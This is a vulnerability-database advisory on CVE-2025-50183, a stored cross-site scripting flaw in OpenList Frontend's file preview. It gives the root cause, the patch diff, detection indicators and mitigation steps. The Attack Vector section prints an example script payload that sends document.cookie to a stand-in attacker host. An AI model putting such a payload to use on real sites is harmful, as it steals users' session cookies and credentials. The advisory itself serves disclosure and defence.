Skip to main content
CVE Vulnerability Database
Vulnerability Database/CVE-2025-50183

CVE-2025-50183: OpenList Frontend Stored XSS Vulnerability

CVE-2025-50183 is a stored cross-site scripting flaw in OpenList Frontend's file preview feature that allows JavaScript execution through .py files. This article covers technical details, affected versions, and mitigation.

Published:

CVE-2025-50183 Overview

CVE-2025-50183 is a stored cross-site scripting (XSS) vulnerability in OpenList Frontend, a UI component for the OpenList file listing application. The flaw exists in the file preview and browsing feature. Files with a .py extension containing JavaScript code wrapped in <script> tags may be interpreted and executed as HTML in certain preview modes. An attacker who can upload or place a crafted Python file in a browsable directory can trigger script execution in the browser of any user who previews the file. The vulnerability affects all versions of OpenList Frontend prior to 4.0.0-rc.4 and is tracked under [CWE-79]. The maintainers patched the issue in version 4.0.0-rc.4.

Critical Impact

Stored XSS enables attackers to execute arbitrary JavaScript in the browsers of users previewing malicious files, leading to session theft, credential capture, and unauthorized actions on behalf of the victim.

Affected Products

  • OpenList Frontend versions prior to 4.0.0-rc.4
  • OpenList deployments using the vulnerable frontend preview component
  • Applications embedding the OpenList Markdown preview renderer

Discovery Timeline

  • 2025-06-19 - CVE-2025-50183 published to NVD
  • 2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-50183

Vulnerability Analysis

The vulnerability resides in the Markdown preview component of OpenList Frontend, specifically in src/pages/home/previews/markdown_with_word_wrap.tsx. The component renders file contents through a Markdown parser without properly accounting for the file extension of the source content. When a file with a .py extension contains embedded <script> tags, the Markdown renderer treats the content as HTML-compatible input and passes the raw markup through to the DOM. The browser then parses and executes the injected script in the origin context of the OpenList application.

The attack requires user interaction, since the victim must open or preview the malicious file. However, no authentication is required to trigger the flaw on OpenList instances that expose public directories, and the payload persists across sessions as long as the file remains in storage.

Root Cause

The root cause is missing extension-aware rendering in the preview pipeline. The original Markdown component was invoked without an ext parameter, so the renderer applied a permissive parsing path that allowed raw HTML pass-through regardless of the underlying file type. Python source files are not intended to be interpreted as Markdown or HTML, but the component did not enforce that boundary.

Attack Vector

An attacker uploads or writes a .py file containing an XSS payload such as <script>fetch('https://attacker.example/'+document.cookie)</script> to a directory served by OpenList. When any user browses to that directory and previews the file, the script executes in the browser under the OpenList origin, exposing session tokens, CSRF tokens, and any data accessible to the authenticated user.

tsx
// Patch: src/pages/home/previews/markdown_with_word_wrap.tsx
 import { Markdown, MaybeLoading } from "~/components"
 import { useFetchText } from "~/hooks"
+import { objStore } from "~/store"
+import { ext } from "~/utils"
 
 const MdPreview = () => {
   const [content] = useFetchText()
   return (
     <MaybeLoading loading={content.loading}>
-      <Markdown class="word-wrap" children={content()?.content} toc />
+      <Markdown
+        class="word-wrap"
+        children={content()?.content}
+        ext={ext(objStore.obj.name)}
+        toc
+      />
     </MaybeLoading>
   )
 }

Source: OpenList-Frontend commit 7b5ed20. The fix passes the file extension into the Markdown component so the renderer can select a safe rendering mode for non-Markdown file types.

Detection Methods for CVE-2025-50183

Indicators of Compromise

  • Python files (.py) stored in OpenList-served directories that contain <script> tags or inline event handlers such as onerror= and onload=.
  • Outbound browser requests from OpenList user sessions to unfamiliar domains immediately after a file preview action.
  • Unexpected Set-Cookie reads or document.cookie accesses originating from the OpenList origin in browser telemetry.

Detection Strategies

  • Scan file storage backends for .py files whose contents contain HTML or JavaScript markers such as <script, javascript:, or onerror=.
  • Inspect web server access logs for GET requests to preview endpoints followed by anomalous cross-origin requests from the same client session.
  • Deploy a Content Security Policy (CSP) report-only header to surface inline script executions originating from previewed content.

Monitoring Recommendations

  • Alert on newly uploaded files with mismatched content types, such as .py files containing HTML markup.
  • Monitor OpenList frontend versions across deployments and flag any instance running a release earlier than 4.0.0-rc.4.
  • Track browser-side errors and CSP violations tied to the OpenList origin to detect exploitation attempts against previously uploaded files.

How to Mitigate CVE-2025-50183

Immediate Actions Required

  • Upgrade OpenList Frontend to version 4.0.0-rc.4 or later on all deployments.
  • Audit existing storage for .py files containing <script> tags or other HTML payloads and quarantine suspicious files.
  • Revoke and rotate session tokens for users who may have previewed untrusted files before the patch was applied.

Patch Information

The vulnerability is patched in OpenList Frontend 4.0.0-rc.4. The fix, published in commit 7b5ed20, passes the file extension into the Markdown preview component so non-Markdown files are no longer rendered with raw HTML pass-through. Details are documented in the GitHub Security Advisory GHSA-2hw3-h8qx-hqqp.

Workarounds

  • Disable the file preview feature until the patched version can be deployed.
  • Restrict upload permissions so untrusted users cannot place files in browsable directories.
  • Deploy a strict Content Security Policy that blocks inline script execution on the OpenList origin.
  • Serve user-uploaded content from a separate, sandboxed origin to isolate any XSS impact from the primary application session.
bash
# Upgrade OpenList Frontend to the patched release
git fetch --tags
git checkout v4.0.0-rc.4
pnpm install
pnpm build

# Example CSP header to mitigate inline script execution
# Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.